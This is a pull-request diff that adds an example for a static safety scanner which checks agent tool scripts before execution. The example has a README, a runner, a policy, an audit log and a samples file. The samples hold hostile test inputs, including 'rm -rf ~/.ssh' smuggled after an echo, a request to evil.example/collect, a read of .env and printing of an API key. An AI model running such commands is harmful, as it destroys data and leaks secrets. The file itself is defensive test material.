Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
155 changes: 155 additions & 0 deletions examples/tool_safety_guard/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,155 @@
# Tool Safety Guard Example

This example shows how to scan tool scripts before execution with
`trpc_agent_sdk.tools.safety`. The scripts in `samples.yaml` are text fixtures
only. They are scanned, never executed.

## Files

- `tool_safety_policy.yaml`: example policy with allowlisted domains, allowed
commands, denied paths, and resource limits.
- `samples.yaml`: 12 public samples covering safe and risky Python/Bash inputs.
- `run_safety_scan.py`: regenerates `tool_safety_report.json` and
`tool_safety_audit.jsonl`.
- `tool_safety_report.json`: aggregate structured report for all samples.
- `tool_safety_audit.jsonl`: audit-safe JSONL summary events.

## Standalone Scanning

Run the example from the repository root:

```bash
python examples/tool_safety_guard/run_safety_scan.py
```

Run the generic CLI:

```bash
python scripts/tool_safety_check.py \
--samples examples/tool_safety_guard/samples.yaml \
--policy examples/tool_safety_guard/tool_safety_policy.yaml \
--report-out /tmp/tool_safety_report.json \
--audit-out /tmp/tool_safety_audit.jsonl
```

Sample scans verify `expected_decision` and `expected_rules` by default. Add
`--no-verify` when you only want to produce reports from samples.

Scan one file:

```bash
python scripts/tool_safety_check.py \
--file ./script.py \
--language python \
--policy examples/tool_safety_guard/tool_safety_policy.yaml
```

## Tool Filter Integration

`ToolSafetyFilter` is explicit opt-in. It scans script-like tool arguments
before the tool handler runs:

```python
from trpc_agent_sdk.tools import FunctionTool
from trpc_agent_sdk.tools.safety import ToolSafetyFilter

tool = FunctionTool(
run_shell_command,
filters=[ToolSafetyFilter(policy_path="examples/tool_safety_guard/tool_safety_policy.yaml")],
)
```

The registered name `tool_safety_guard` uses the default policy:

```python
tool = FunctionTool(run_shell_command, filters_name=["tool_safety_guard"])
```

Use `filters=[ToolSafetyFilter(...)]` when a custom policy, scanner, or audit
logger is required.

## CodeExecutor Wrapper Integration

`SafetyGuardedCodeExecutor` wraps any `BaseCodeExecutor` and scans
`CodeExecutionInput` before delegating execution:

```python
from trpc_agent_sdk.code_executors import UnsafeLocalCodeExecutor
from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor

executor = SafetyGuardedCodeExecutor(
delegate=UnsafeLocalCodeExecutor(),
policy_path="examples/tool_safety_guard/tool_safety_policy.yaml",
)
```

The wrapper mirrors delegate fields such as `workspace_runtime`,
`code_block_delimiters`, and retry settings when it is constructed. Later
direct changes to the delegate are not automatically synchronized back to the
wrapper.

## Policy Fields

The policy controls scanner behavior without code changes:

- `allowed_domains`: domains permitted for network egress.
- `allowed_commands`: command names allowed by shell scans.
- `denied_paths`: file paths or patterns that must not be accessed.
- `sensitive_env_keys`: environment key patterns treated as secrets.
- `review_blocks_execution`: whether `needs_human_review` blocks execution.
- `fail_closed`: whether scanner errors block execution.
- `max_timeout_seconds`, `max_output_bytes`, `max_script_lines`,
`max_sleep_seconds`: resource and behavior limits.
- `rules`: optional per-rule overrides for `enabled`, `decision`, or
`risk_level`.

## Rule Extension

Built-in rules live in the safety rule catalog and produce findings with:

- `rule_id`
- `risk_type`
- `risk_level`
- `decision`
- `message`
- `evidence`
- `recommendation`

To add a rule, extend the catalog, add scanner detection logic, and cover the
new rule with policy/scanner tests. Evidence must be short and redacted.

## Reports, Audit, and OpenTelemetry

`tool_safety_report.json` includes one `SafetyReport` per sample. Each report
contains the final decision, risk level, findings, evidence snippets, and
recommendations.

`tool_safety_audit.jsonl` contains one audit-safe event per sample. It records
tool name, decision, risk level, rule ids, elapsed time, redaction state,
blocked state, language, policy name, scanner version, and finding count. It
does not include full script content or secret values.

When OpenTelemetry is enabled, the safety helper writes attributes such as:

- `tool.safety.decision`
- `tool.safety.risk_level`
- `tool.safety.rule_ids`
- `tool.safety.blocked`
- `tool.safety.redacted`
- `tool.safety.elapsed_ms`
- `tool.safety.finding_count`
- `tool.safety.policy_name`
- `tool.safety.language`

## Known Limits

This guard is a static pre-execution scanner. It can miss obfuscated code,
runtime-generated commands, encoded payloads, tool behavior hidden behind
libraries, and policy bypasses that only appear at execution time. It can also
produce false positives for benign maintenance scripts that look risky.

The guard does not replace sandbox isolation. Production deployments should
still use least-privilege credentials, isolated workspaces, resource limits,
network controls, runtime monitoring, and audit retention. Static scanning is
one layer: it provides early blocking, human review signals, and observability
before code reaches the executor.
53 changes: 53 additions & 0 deletions examples/tool_safety_guard/run_safety_scan.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
# Tencent is pleased to support the open source community by making tRPC-Agent-Python available.
#
# Copyright (C) 2026 Tencent. All rights reserved.
#
# tRPC-Agent-Python is licensed under Apache-2.0.
"""Generate the tool safety guard example report and audit log."""

from __future__ import annotations

import sys
from pathlib import Path

REPO_ROOT = Path(__file__).resolve().parents[2]
repo_root = str(REPO_ROOT)
sys.path[:] = [path for path in sys.path if path != repo_root]
sys.path.insert(0, repo_root)

from trpc_agent_sdk.tools.safety._cli_helpers import FIXTURE_GENERATED_AT
from trpc_agent_sdk.tools.safety._cli_helpers import format_mismatches
from trpc_agent_sdk.tools.safety._cli_helpers import load_policy
from trpc_agent_sdk.tools.safety._cli_helpers import load_samples
from trpc_agent_sdk.tools.safety._cli_helpers import scan_samples
from trpc_agent_sdk.tools.safety._cli_helpers import write_audit_log
from trpc_agent_sdk.tools.safety._cli_helpers import write_json_report

EXAMPLE_DIR = Path(__file__).resolve().parent
POLICY_PATH = EXAMPLE_DIR / "tool_safety_policy.yaml"
SAMPLES_PATH = EXAMPLE_DIR / "samples.yaml"
REPORT_PATH = EXAMPLE_DIR / "tool_safety_report.json"
AUDIT_PATH = EXAMPLE_DIR / "tool_safety_audit.jsonl"


def main() -> int:
report, audit_events, mismatches = scan_samples(
load_samples(SAMPLES_PATH),
load_policy(POLICY_PATH),
generated_at=FIXTURE_GENERATED_AT,
stable_elapsed_ms=0.0,
)
write_json_report(report, REPORT_PATH)
write_audit_log(audit_events, AUDIT_PATH)

print(f"Wrote report: {REPORT_PATH}")
print(f"Wrote audit: {AUDIT_PATH}")
print(f"Decision summary: {report['decision_summary']}")
if mismatches:
print(format_mismatches(mismatches), file=sys.stderr)
return 1
return 0


if __name__ == "__main__":
raise SystemExit(main())
118 changes: 118 additions & 0 deletions examples/tool_safety_guard/samples.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,118 @@
- id: safe_python
description: Safe Python computation with local output only.
language: python
content: |
values = [1, 2, 3]
print(sum(values))
expected_decision: allow
expected_rules: []

- id: dangerous_delete
description: Recursive deletion of a local directory.
language: shell
command: rm -rf ./build-cache
expected_decision: deny
expected_rules:
- FILE_RECURSIVE_DELETE

- id: read_secret_file
description: Python reads a dotenv file.
language: python
content: |
with open(".env", "r", encoding="utf-8") as secret_file:
print(secret_file.read())
expected_decision: deny
expected_rules:
- FILE_SENSITIVE_READ
- FILE_FORBIDDEN_PATH_ACCESS

- id: network_non_whitelist
description: Python sends a request to a non-allowlisted domain.
language: python
content: |
import requests

response = requests.get("https://evil.example/collect")
print(response.status_code)
expected_decision: deny
expected_rules:
- NET_NON_WHITELIST_EGRESS

- id: network_whitelist
description: Python sends a request to an allowlisted domain.
language: python
content: |
import requests

response = requests.get("https://api.github.com/repos")
print(response.status_code)
expected_decision: allow
expected_rules: []

- id: subprocess_call
description: Python invokes a subprocess and requires review.
language: python
content: |
import subprocess

subprocess.run(["ls", "-la"], check=False)
expected_decision: needs_human_review
expected_rules:
- PROC_OS_SYSTEM

- id: shell_injection
description: Shell injection payload chains a harmless echo with dangerous deletion.
language: shell
command: echo "hello"; rm -rf ~/.ssh
expected_decision: deny
expected_rules:
- PROC_SHELL_PIPE_OR_CHAIN
- FILE_RECURSIVE_DELETE
- FILE_SENSITIVE_READ

- id: dependency_install
description: Python package installation requires review.
language: shell
command: python -m pip install suspicious-package
expected_decision: needs_human_review
expected_rules:
- DEP_PIP_INSTALL

- id: infinite_loop
description: Python script contains an unbounded loop.
language: python
content: |
while True:
pass
expected_decision: needs_human_review
expected_rules:
- RES_INFINITE_LOOP

- id: sensitive_env_output
description: Python prints a sensitive environment variable.
language: python
env_keys:
- OPENAI_API_KEY
content: |
import os

print(os.environ["OPENAI_API_KEY"])
expected_decision: deny
expected_rules:
- LEAK_ENV_SECRET

- id: bash_pipe
description: Bash pipeline requires review.
language: bash
command: cat input.log | grep ERROR
expected_decision: needs_human_review
expected_rules:
- PROC_SHELL_PIPE_OR_CHAIN

- id: human_review_dynamic_egress
description: Shell command builds a dynamic network destination.
language: shell
command: curl "https://${HOST}/status"
expected_decision: needs_human_review
expected_rules:
- NET_DYNAMIC_EGRESS_REVIEW
12 changes: 12 additions & 0 deletions examples/tool_safety_guard/tool_safety_audit.jsonl
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
{"timestamp":"2026-07-04T00:00:00Z","tool_name":"tool_safety_check","decision":"allow","risk_level":"low","rule_ids":[],"elapsed_ms":0.0,"redacted":false,"blocked":false,"language":"python","cwd":"","function_call_id":"safe_python","agent_name":"","policy_name":"example-tool-safety-policy","scanner_version":"0.1.0","finding_count":0}
{"timestamp":"2026-07-04T00:00:00Z","tool_name":"tool_safety_check","decision":"deny","risk_level":"critical","rule_ids":["FILE_RECURSIVE_DELETE"],"elapsed_ms":0.0,"redacted":false,"blocked":true,"language":"shell","cwd":"","function_call_id":"dangerous_delete","agent_name":"","policy_name":"example-tool-safety-policy","scanner_version":"0.1.0","finding_count":1}
{"timestamp":"2026-07-04T00:00:00Z","tool_name":"tool_safety_check","decision":"deny","risk_level":"critical","rule_ids":["FILE_SENSITIVE_READ","FILE_FORBIDDEN_PATH_ACCESS"],"elapsed_ms":0.0,"redacted":false,"blocked":true,"language":"python","cwd":"","function_call_id":"read_secret_file","agent_name":"","policy_name":"example-tool-safety-policy","scanner_version":"0.1.0","finding_count":2}
{"timestamp":"2026-07-04T00:00:00Z","tool_name":"tool_safety_check","decision":"deny","risk_level":"high","rule_ids":["NET_NON_WHITELIST_EGRESS"],"elapsed_ms":0.0,"redacted":false,"blocked":true,"language":"python","cwd":"","function_call_id":"network_non_whitelist","agent_name":"","policy_name":"example-tool-safety-policy","scanner_version":"0.1.0","finding_count":1}
{"timestamp":"2026-07-04T00:00:00Z","tool_name":"tool_safety_check","decision":"allow","risk_level":"low","rule_ids":[],"elapsed_ms":0.0,"redacted":false,"blocked":false,"language":"python","cwd":"","function_call_id":"network_whitelist","agent_name":"","policy_name":"example-tool-safety-policy","scanner_version":"0.1.0","finding_count":0}
{"timestamp":"2026-07-04T00:00:00Z","tool_name":"tool_safety_check","decision":"needs_human_review","risk_level":"medium","rule_ids":["PROC_OS_SYSTEM"],"elapsed_ms":0.0,"redacted":false,"blocked":true,"language":"python","cwd":"","function_call_id":"subprocess_call","agent_name":"","policy_name":"example-tool-safety-policy","scanner_version":"0.1.0","finding_count":2}
{"timestamp":"2026-07-04T00:00:00Z","tool_name":"tool_safety_check","decision":"deny","risk_level":"critical","rule_ids":["PROC_SHELL_PIPE_OR_CHAIN","FILE_RECURSIVE_DELETE","FILE_SENSITIVE_READ","FILE_FORBIDDEN_PATH_ACCESS"],"elapsed_ms":0.0,"redacted":false,"blocked":true,"language":"shell","cwd":"","function_call_id":"shell_injection","agent_name":"","policy_name":"example-tool-safety-policy","scanner_version":"0.1.0","finding_count":4}
{"timestamp":"2026-07-04T00:00:00Z","tool_name":"tool_safety_check","decision":"needs_human_review","risk_level":"medium","rule_ids":["DEP_PIP_INSTALL"],"elapsed_ms":0.0,"redacted":false,"blocked":true,"language":"shell","cwd":"","function_call_id":"dependency_install","agent_name":"","policy_name":"example-tool-safety-policy","scanner_version":"0.1.0","finding_count":1}
{"timestamp":"2026-07-04T00:00:00Z","tool_name":"tool_safety_check","decision":"needs_human_review","risk_level":"medium","rule_ids":["RES_INFINITE_LOOP"],"elapsed_ms":0.0,"redacted":false,"blocked":true,"language":"python","cwd":"","function_call_id":"infinite_loop","agent_name":"","policy_name":"example-tool-safety-policy","scanner_version":"0.1.0","finding_count":1}
{"timestamp":"2026-07-04T00:00:00Z","tool_name":"tool_safety_check","decision":"deny","risk_level":"high","rule_ids":["LEAK_ENV_SECRET"],"elapsed_ms":0.0,"redacted":false,"blocked":true,"language":"python","cwd":"","function_call_id":"sensitive_env_output","agent_name":"","policy_name":"example-tool-safety-policy","scanner_version":"0.1.0","finding_count":1}
{"timestamp":"2026-07-04T00:00:00Z","tool_name":"tool_safety_check","decision":"needs_human_review","risk_level":"medium","rule_ids":["PROC_SHELL_PIPE_OR_CHAIN"],"elapsed_ms":0.0,"redacted":false,"blocked":true,"language":"bash","cwd":"","function_call_id":"bash_pipe","agent_name":"","policy_name":"example-tool-safety-policy","scanner_version":"0.1.0","finding_count":1}
{"timestamp":"2026-07-04T00:00:00Z","tool_name":"tool_safety_check","decision":"needs_human_review","risk_level":"medium","rule_ids":["NET_DYNAMIC_EGRESS_REVIEW"],"elapsed_ms":0.0,"redacted":false,"blocked":true,"language":"shell","cwd":"","function_call_id":"human_review_dynamic_egress","agent_name":"","policy_name":"example-tool-safety-policy","scanner_version":"0.1.0","finding_count":1}
33 changes: 33 additions & 0 deletions examples/tool_safety_guard/tool_safety_policy.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,33 @@
name: example-tool-safety-policy
mode: standard
fail_closed: true
review_blocks_execution: true
allowed_domains:
- api.github.com
allowed_commands:
- cat
- curl
- echo
- grep
- ls
- python
- python3
- rm
denied_paths:
- ~/.ssh
- ~/.aws
- ~/.config/gcloud
- .env
- .env.*
- /etc
- /var/run/docker.sock
sensitive_env_keys:
- "*KEY*"
- "*TOKEN*"
- "*SECRET*"
- "*PASSWORD*"
max_timeout_seconds: 300
max_output_bytes: 1048576
max_script_lines: 2000
max_sleep_seconds: 3600
max_evidence_chars: 200
Loading
Loading